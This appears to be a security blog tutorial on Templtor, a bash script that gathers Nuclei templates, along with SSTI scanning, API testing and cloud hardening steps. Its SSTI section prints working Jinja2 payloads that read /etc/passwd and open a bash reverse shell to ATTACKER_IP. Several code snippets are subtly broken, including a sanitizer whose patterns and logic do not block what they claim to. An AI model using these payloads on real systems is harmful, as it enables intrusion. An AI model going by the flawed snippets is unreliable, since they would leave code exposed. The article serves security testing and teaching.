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Introduction:
Server-Side Template Injection (SSTI) remains one of the most critical web vulnerabilities, allowing attackers to execute arbitrary code on the target server by injecting malicious payloads into template engines. Templtor emerges as a powerful bash-based automation tool designed to streamline vulnerability research by aggregating community Nuclei templates, organizing them by CVE, and providing a structured framework for security professionals. This article explores how Templtor revolutionizes template management, its implementation through practical command-line workflows, and its role in modern cybersecurity assessments.
Learning Objectives:
- Master the installation and configuration of Templtor for automated Nuclei template collection and organization
- Understand how to leverage aggregated templates for efficient SSTI detection and vulnerability scanning
- Learn to integrate Templtor into existing bug bounty and penetration testing workflows with complementary tools
You Should Know:
1. Automating Nuclei Template Aggregation with Templtor
Templtor is a bash script that clones multiple GitHub repositories, extracts all YAML-based Nuclei templates, and organizes CVE-related templates into a structured directory format. The script is ideal for researchers, red teamers, and security enthusiasts working with the ProjectDiscovery Nuclei framework.
Step‑by‑step guide to install and use Templtor:
Step 1: Install prerequisites on Linux/Kali
Ensure bash, git, and standard GNU utilities are installed:
sudo apt update && sudo apt install -y git findutils coreutils git --version Verify Git is installed
Step 2: Clone Templtor repository and make script executable
git clone https://github.com/mugh33ra/Templtor.git cd Templtor chmod +x templtor.sh
Step 3: Create a repositories list file (repos.txt)
Add GitHub repository URLs containing Nuclei templates, one per line:
echo "https://github.com/projectdiscovery/fuzzing-templates.git" > repos.txt echo "https://github.com/example/cve-templates.git" >> repos.txt
Step 4: Execute Templtor to collect templates
./templtor.sh repos.txt
The script will clone each repository, extract all .yaml template files into `templates/` directory, filter CVE-related templates into `CVE-Templates/` folder, and display a clean animated spinner showing real-time progress.
Step 5: Migrate CVE templates to Nuclei directory
Run the included migration script to copy all CVE templates to ~/nuclei-templates/http/cves:
bash migration.sh
This command skips existing templates and copies new CVE-Templates, ensuring no duplicates.
Output structure after successful execution:
templates/ ├── input_list.txt Your input file (copied here) ├── templates/ All collected .yaml templates └── CVE-Templates/ Filtered templates matching CVE
Total templates and CVE counts are displayed upon completion, e.g., “Total templates: 183 CVE templates: 56”.
For Windows users (WSL2 recommended):
Install WSL2 with Ubuntu distribution, then follow the same Linux commands above.
2. Leveraging Templtor for Enhanced SSTI Detection
SSTI vulnerabilities arise when user input is unsafely embedded into template engines like Jinja2, Twig, or Freemarker. Templtor’s aggregated templates include specialized SSTI detection rules that can identify injection points across various frameworks.
Step‑by‑step guide to detect SSTI using Templtor-collected templates:
Step 1: Install Nuclei vulnerability scanner
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest sudo cp ~/go/bin/nuclei /usr/local/bin/ nuclei -version
Step 2: Update Nuclei with Templtor-collected templates
Assuming Templtor output is in ~/Templtor/templates/ nuclei -update-templates -t ~/Templtor/templates/
Step 3: Scan target for SSTI vulnerabilities
nuclei -u https://target.com -t ~/Templtor/templates/ -tags ssti -severity critical,high
Step 4: Perform targeted SSTI fuzzing with custom payloads
Basic SSTI payload detection for Jinja2
curl -X POST https://target.com/render -d "template={{77}}"
If response contains "49", SSTI is confirmed
Step 5: Advanced SSTI exploitation payloads for Jinja2 (for authorized testing only)
Read system files
{{ self._TemplateReference__context.cycler.<strong>init</strong>.<strong>globals</strong>.os.popen('cat /etc/passwd').read() }}
Reverse shell payload (Jinja2)
{{ self._TemplateReference__context.cycler.<strong>init</strong>.<strong>globals</strong>.os.system('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"') }}
3. Integrating Templtor with Bug Bounty Workflows
Templtor reduces manual template hunting by automating collection from community repositories, allowing bug bounty hunters to focus on actual vulnerability discovery rather than tool maintenance.
Step‑by‑step guide for workflow integration:
Step 1: Create automated template update cron job
Add to crontab for daily template updates at 2 AM:
crontab -e Add line: 0 2 cd /home/user/Templtor && ./templtor.sh repos.txt && bash migration.sh
Step 2: Combine with subdomain enumeration tools
Using assetfinder and httpx assetfinder target.com | httpx -silent | nuclei -t ~/Templtor/CVE-Templates/ -o results.txt
Step 3: Parallel scanning for speed optimization
Split templates across multiple Nuclei instances
cat ~/Templtor/templates/.yaml | parallel -j 4 "nuclei -t {} -u https://target.com -silent"
Step 4: Filter results by CVE severity
grep -E "CVE-[0-9]{4}-[0-9]{4,}" results.txt | while read cve; do
severity=$(nuclei -t ~/Templtor/CVE-Templates/${cve}.yaml -json | jq '.info.severity')
echo "$cve : $severity"
done
4. API Security Testing with Aggregated Templates
Modern web applications heavily rely on APIs, which often expose template injection vulnerabilities through JSON payloads, XML data, or URL parameters. Templtor’s aggregated templates include API-specific SSTI detection rules.
Step‑by‑step guide for API SSTI testing:
Step 1: Identify API endpoints accepting templated input
Use ffuf for endpoint discovery ffuf -u https://api.target.com/FUZZ -w /usr/share/wordlists/api-endpoints.txt -fc 404
Step 2: Test GraphQL SSTI vulnerabilities
query {
render(template: "{{77}}")
}
Step 3: Automated API scanning with Templtor templates
nuclei -target https://api.target.com/v1 -t ~/Templtor/templates/ -tags api,ssti -rate-limit 50
Step 4: Burp Suite integration for API testing
Configure Burp Suite to send traffic through Nuclei:
Set Burp proxy to 127.0.0.1:8080 export HTTP_PROXY=http://127.0.0.1:8080 export HTTPS_PROXY=http://127.0.0.1:8080 nuclei -u https://target.com -t ~/Templtor/CVE-Templates/ -proxy-url http://127.0.0.1:8080
5. Cloud Environment Hardening Against Template Injection
Cloud platforms like AWS, Azure, and GCP often use template engines for dynamic content generation, making them susceptible to SSTI if user input is mishandled.
Step‑by‑step guide for cloud hardening:
Step 1: Audit cloud applications for SSTI vectors
Using Templtor templates against cloud-hosted apps nuclei -list cloud-targets.txt -t ~/Templtor/templates/ -tags cloud,ssti -o cloud_ssti_results.txt
Step 2: Implement input sanitization in cloud functions (AWS Lambda example – Python)
import re
from markupsafe import escape
def sanitize_template_input(user_input):
Block SSTI payload patterns
dangerous_patterns = [r'{{.}}', r'\${.}', r'<%.%>']
for pattern in dangerous_patterns:
if re.search(pattern, user_input):
return escape(user_input)
return user_input
def lambda_handler(event, context):
user_template = sanitize_template_input(event.get('template', ''))
Use safe rendering engine like Jinja2 with autoescape enabled
return {'rendered': render_template_safe(user_template)}
Step 3: Configure WAF rules to block SSTI payloads (Cloudflare example)
Add WAF rule via Cloudflare API
curl -X POST "https://api.cloudflare.com/client/v4/zones/ZONE_ID/rulesets/RULESET_ID/rules" \
-H "Authorization: Bearer API_TOKEN" \
-H "Content-Type: application/json" \
--data '{"action":"block","expression":"(http.request.uri.query contains \"{{77}}\") or (http.request.body.raw contains \"{{77}}\")"}'
Step 4: Deploy runtime protection for containerized environments
Using Falco to detect SSTI exploitation attempts
falco -r /etc/falco/falco_rules.yaml -e "proc.name = bash and evt.buffer contains \"{{77}}\""
What Undercode Say:
Key Takeaway 1: Templtor transforms Nuclei template management by automating the collection and organization of community templates, significantly reducing manual effort for security researchers while ensuring access to the latest CVE detection rules.
Key Takeaway 2: The script’s ability to filter CVE-related templates and migrate them directly to Nuclei’s directory structure creates a streamlined workflow that integrates seamlessly with existing bug bounty tools and automation pipelines.
Key Takeaway 3: SSTI vulnerabilities remain critically dangerous due to their potential for remote code execution, but tools like Templtor combined with proper input sanitization, WAF rules, and runtime protection can effectively mitigate these risks in both traditional web apps and cloud environments.
Prediction:
As server-side template engines continue to evolve with frameworks like React Server Components and Next.js, SSTI attack surfaces will expand into new domains including edge computing and serverless architectures. Templtor’s automated template aggregation approach will likely influence future vulnerability management platforms, where AI-powered template correlation and real-time CVE mapping become standard features. Organizations failing to implement automated template testing and continuous WAF updates will face increasing risks from sophisticated SSTI exploitation chains that bypass traditional security controls. The cybersecurity community will see more specialized template fuzzing tools emerging, with Templtor serving as a foundational blueprint for automation-first vulnerability research methodologies.
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